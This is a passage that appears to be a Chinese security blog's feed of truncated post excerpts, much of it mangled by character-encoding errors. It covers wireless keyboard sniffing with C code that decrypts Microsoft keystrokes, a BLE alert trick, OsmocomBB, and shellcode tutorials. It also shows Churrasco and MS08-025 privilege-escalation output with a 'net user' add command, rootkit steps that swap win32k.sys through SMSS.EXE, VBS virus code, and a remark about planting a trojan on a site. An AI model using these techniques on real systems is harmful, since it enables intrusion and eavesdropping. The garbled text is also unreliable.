其实有个更简单的Q只要给Immediate Alertq个属性发?x01或?x02卛_启动“女性娱乐模式”，不需要Q何认证：
Q这个属性本来是用来可穿戴设备的扑֛功能的）
...
阅读全文
]]>
使用HackRF或者RTL-SDR加变频器Q那是极好的Q但是我最l需要把所有东襉K打包C个小I间里面?/p>
可参考另一个页面：Travis Goodspeed, 作者不仅嗅探了cM的键?Microsoft Comfort Desktop 5000), q演CZ怎么?span style="line-height: 25.6000003814697px;">用他的一个叫GoodFET的设备和python的脚?/span>goodfet.nrfQ?span style="line-height: 25.6000003814697px;">?/span>?nRF24L01+ 芯片嗅探 2.4GHz 的数?/span>.
Travis发现嗅探该设备存在多个难点，不仅现在需要指定频道（频率Q，而且q需要指定MAC地址。nRF芯片只提供发送到指定MAC地址的数据包。此外，nRF芯片不会发送MAC地址数据Q因Z已经指定?(?code style="box-sizing: border-box; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace; font-size: 13.6000003814697px; padding: 0.2em 0px; margin: 0px; border-radius: 3px; background-color: rgba(0, 0, 0, 0.0392157);">RX_ADDR_P[0-5]6个管道中的一?/code>)?/p>
Travis发现在指定MAC长度的时候，在手册中为SETUP_AWQ当讄?#8216;0’的时候被认ؓ是非法的Q?/span>
'00' - Illegal
'01' - 3 bytes
'10' - 4 bytes
'11' – 5 bytes
但是实际讄MAC地址Z个字节，q且把MAC讄在preamble的位|?0x00AA or 0x0055, in binary 0000000010101010 or 0000000001010101), pƺ骗讑֤在数据部分首先提供完整的MAC地址l我们，请参考这碉堡了?a style="box-sizing: border-box; color: #4183c4; text-decoration: none; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;">文章学习具体l节?/p>
(U) Increasing Speed and Portability
虽然现在我们可以使用GoodFETQ电脑加nRF24L01+来做嗅探试Q但是最l我们还是希望能够用一套便宜的嵌入式设备来实现此功能。我们可以用Travis的研I成果，使用在微控制?嵌入式CE序来实现所有功能?/p>
另外Q我们做了一些改q?Goodfet.nrf 告诉我们怎样扫描我们惌监听的设备：
- 频率?2400MHz开?/li>
- 讄数据速率?1Mbps 以及MAC?x00AAQ监?0U钟
- 讄数据速率?nbsp;2Mbps 以及MAC?x00AAQ监?0U钟
- 讄数据速率?nbsp;1Mbps 以及MAC?x0055Q监?0U钟
- 讄数据速率?nbsp;2Mbps 以及MAC?x0055Q监?0U钟
- 逐步增加频率|直到2528MHz再返回从2400MHz开始@?(128个频率?
- 要找C个潜在的键盘讑֤Q我们需要至四个包Q以满阈值确保是个合法的数据包，防止误报?/li>
q意味着扫描一个完整的频率范围需要大U?5分钟Q?and at least several keystrokes must be pressed while we're sniffing within the correct 10 second period. ) 在仔l学习了Travis的研IӞKeyKeriki 的项目，以及试了我的键盘，我们可以做一些改q：
- 查阅 FCCQ键盘只需要用?2403 - 2480MHz的范_直接?28个频率减到?8个频?(节省40%)
- 所有键盘?MbpsQ又减少一半时间?/li>
- 在检查了很多键盘之后Q我发现所有的微Y键盘的MAC地址都是?xCD开始的Q因此我们的preamble永远?code style="line-height: 25.6000003814697px; box-sizing: border-box; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace; font-size: 13.6000003814697px; padding: 0.2em 0px; margin: 0px; border-radius: 3px; background-color: rgba(0, 0, 0, 0.0392157);">0xAA (10101010) Q?nbsp;after inspecting more keyboards, I found that all Microsoft keyboards begin with 0xCD as the MAC, which tells us that our preamble will always be
0xAA (10101010)因ؓ0xAA后面永远跟的? (0xCD 二进?11001101)以保持比特位交替Q这样又加快了一倍的搜烦速度?/li> - 因ؓ我们知道MAC地址的第一?(0xCD), 我们也知道需要什么样的数据包, 我们只需要检查某个确认的数据包，p知道q是一个我们要扄键盘讑֤?/li>
- 我们把每个频率扫描时间降低到500毫秒Q从而把整个扫描一轮的旉降低?0U?/li>
(U) Decrypting Keystrokes
Thorsten Schröder ?Max Moser 设计了一个碉堡了的东?nbsp;KeyKeriki, 能够监听微Y键盘Q完全逆向了解密的q程q且做了个设备能够完全实现这些。然而，他们的设备需要两个无U电和一个高端微处理器，来捕获和解析?Mbps通信的键盘设备生的数据。Travis的项目虽然牛|但是需要一台电脑主机，而且对于我们U密执行dQ这套设备还是太大了Q因此我们改q了设计Q现在只需要一个廉hU电和一个微处理器，功耗低而且体积，不再需要电脑和其他无线电设备?/p>
Thorsten ?Max 发现q个击键只是使用ECB模式单的?span style="line-height: 25.6000003814697px;">MAC地址异或加密 , 我们可以使用Travis的方法利用nRF24L01+来嗅探和获取MAC地址Q这U加密方法相当于只是把扑克牌切了一ơ?/span>
l过q一步调查发玎ͼ我们现在知道所有微软键盘的MAC地址都是?xCD开始的Q实际按键（下图色部分Q恰好与MAC地址W一个字节对齐，q就是说即我们不知道完整的MAC地址Q我们依然能够解密按键消息，因ؓq个寚w是不会变的，MAC地址开头一个字?xCD也是不变的?/p>
׃数据包加密部分的长度?1个字节，而MAC地址?个字节，CRC校验是每个字节做Q异或（加密前）Q你会发C些有意思的事情Q由于MAC地址被异或了两次Q我们能够在不需要知道完整MAC地址的情况下计算校验|q是因ؓMAC被异或两ơ，q当于什么都没做Q而第11个字节又是MAC地址的第一个字节，我们知道?xCD。根据这个特性我们可以进行一些其他的dQ比如更Ҏ键和CRC校验Q同样不需要知道MAC地址Q这会在我以后的项目做相关演示?/p>
KeyKeriki 目中的一|CZ解密q程Q?/p>
- Device type 0x0A = keyboard, 0x08 = mouse
- Packet type 0x78 = keystroke, 0x38 = idle (key is held down)
- Model type 0x06 = keyboard? This is the same HID code for a keyboard
- HID code 0x05 = letter 'b' (described in section 7 here)
KeySweeper的解密部分代?
// decrypt those keyboard packets!
void decrypt(uint8_t* pkt)
{
// our encryption key is the 5-byte MAC address and
// starts 4 bytes in (4-byte header is unencrypted)
for (int i = 4; i < 15; i++)
pkt[i] ^= mac >> (((i - 4) % 5) * 8) & 0xFF;
}]]>
阅读全文
]]>
- Samsung Galaxy S3 GT-I9300
- Samsung Galaxy Nexus GT-I9250 (has to be rooted!)
- Samsung Galaxy S2 GT-I9100
- Samsung Galaxy Note 2 GT-N7100
。。。。。?
阅读全文
]]>
但都不说最l能q啥Q滚屏完了就没了Q大牛都太低调了Q最q有朋友也在搞这个，了解了一下，以下描述都是我最q查阅的大量鸟文资料及少量中文资料之后的理解Q如有误望指出?
OsmocomBB是国外一个开源项目，是GSM协议?Protocols stack)的开源实玎ͼ全称是Open source mobile communication Baseband.目的是要实现手机端从物理?layer1)到layer3的三层实现?
q里记录一下过E，以便备忘和其它有需要的童鞋走弯\?
........
阅读全文
]]>
有消息称Q虽然Raspberry Pi看v来非常的q你——只有一张信用卡大小Q但是它能够q行像《雷之锤三Q竞技场》这L游戏和进?080p视频的播放。但是以q次接TFT屏试用结果看Q我觉得臛_SPI是纯属扯J8蛋，可能HDMI速度快点Q但是就以那~译内核的速度来看Qƈ不乐观?
... ...
阅读全文
]]>
]]>
......
阅读全文
]]>
搭个php的环境，目录在C:\www下，根目录下有个upload.php代码如下
......
阅读全文
]]>
.............
阅读全文
]]>
.........
阅读全文
]]>
d:\Churrasco.exe "net user 009 /add"
/churrasco/-->Current User: NETWORK SERVICE
/churrasco/-->Getting Rpcss PID ...
/churrasco/-->Found Rpcss PID: 1948
/churrasco/-->Searching for Rpcss threads ...
/churrasco/-->Found Thread: 472
.......
阅读全文
]]>
<script type="text/javascript">
function killErrors() {
return true;
}
window.onerror = killErrors;
var x;
var obj;
.........
阅读全文
]]>
阅读全文
]]>
MS08-025 Windows Local Privilege Escalation Vulnerability Exploit
By 009, baicker@hotmail.com
TEST OS: WINDOWS 2k SP2 & WINDOWS 2k3 CN SP1
Kernel is \WINNT\System32\ntoskrnl.exe
Get KernelBase Success, ntoskrnl.exe base = 80400000
Mapping ntoskrnl.exe ... ok
KeServiceDescriptorTable = 008ED280
Find KiServiceTable ... Get ZwVdmControl Number ... ok!
ZwVdmCo 阅读全文
]]>
要是上次扑ֈq个插g好了，省得我一遍一遍地用nc修改referer提交
很多防盗铑֒防本地提交是依靠用户览器自动提?......
阅读全文
]]>
lcxl的Q稍微改了改代码Q据说好?
未测试，最q忙到自杀的时间都没有
唉，可惜有马时候没z，有洞时候没马，要不找个站挂上了?
http://www.aygfsteel.com/Files/baicker/Real........
阅读全文
]]>
阅读全文
]]>
1. 注入SMSS.EXE
2. 打开SeLoadDriverPrivilege权限
3. 把原始的win32k.sys改名
4. 复制我们的驱动到\systemroot\system32?
5. 在SMSS.EXE中加载\\SystemRoot\\System32\\win32k.sys
6. 把\\SystemRoot\\System32\\win32k.sys改名
7. 把原始的win32k.sys文g改名改回?
..............
阅读全文
]]>
我们以普通的VB脚本Z来看看：
JavaScript代码
1. Set objFs=CreateObject ("Scripting.FileSystemObject")
2. '创徏一个文件系l对?
3. objFs.CreateTextFile ("C:\virus.txt", 1)
4. '通过文gpȝ对象的方法创Z一个TXT文g?
.....................
阅读全文
]]>
另外在今天开始之前，我顺便说一下后面的教学计划Q?
我会再用3?ơ的讲来阐qshellcode技术，保大家能够在比较简单的漏洞场景下实现通用、稳定的溢出利用E序QexploitQ?
..........
阅读全文
]]>
如果您顺利的学完了前?讲的内容Qƈ成功的完成了W?讲和W?讲中的实验，那么今天误我来一h战一下劫持有漏洞的进E，q向其植入恶意代码的实验Q相信您成功完成q个实验后，学习的兴和自信心都会暴增?
开始之前，先简要的回答一下前几讲跟脓中提出的问题
代码~译头文g问题Q可能是个h习惯问题Q哪怕几行长的程序我也会丢到project里去buildQ而不是用clQ所以没有注意细节。如果你们嫌ȝQ不如和我一Lproject来buildQ应该没有问题的。否则的话，实验用的E序实在太简单了Q这么一点小问题自己决绝吧。另外，看到几个同学说ؓ了实验，专门恢复了古老的VC6.0Q我也感动不已啊Q呵c?
...............
阅读全文
]]>
信息安全技术是一个对技术性要求极高的领域Q除了扎实的计算机理论基外、更重要的是优秀的动手实践能力。在我看来，不懂二进制就无从谈v安全技术?
~冲区溢出的概念我若q年前已l了然于胸，不就是个返回地址把CPU指到~冲区的shellcodeM。然而当我开始动手实늚时候，才发现实际中的情况远q比原理复杂?
................
阅读全文
]]>